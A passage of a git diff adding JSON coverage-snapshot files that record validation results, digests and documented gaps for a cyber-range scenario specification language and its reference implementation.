[], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "c7cdbb05aef93de622bdfb3be137f614adc0747dd7feb64a21a94cdc4b517f94", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "ed351205979c8a80e10962146cc95f8a4019c593459d9e32b4f65aa0aca91f7f", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "ddf2cd2a7b46f895ea1a845bad7e90db1f05b2ef6abce3789b20ebb1698c7c7f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "c75805c56330d402a52bd7a578785bb343bf3c30", + "snapshot_id": "raes-standardized-specification-coverage-issue-1237-v18", + "snapshot_revision": "18.0.0", + "source_state": { + "base_revision": "c75805c56330d402a52bd7a578785bb343bf3c30", + "checkout_state": "modified", + "implementation_digest": "b81619cf25cce6c5d42ad3380835a9f96ed0dfcdd49da973b2ad6e4615934ec5", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v19.json b/docs/research/specification-coverage/execution-snapshot-v19.json new file mode 100644 index 000000000..45baa686d --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v19.json @@ -0,0 +1,678 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-15T22:18:07.086137+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + 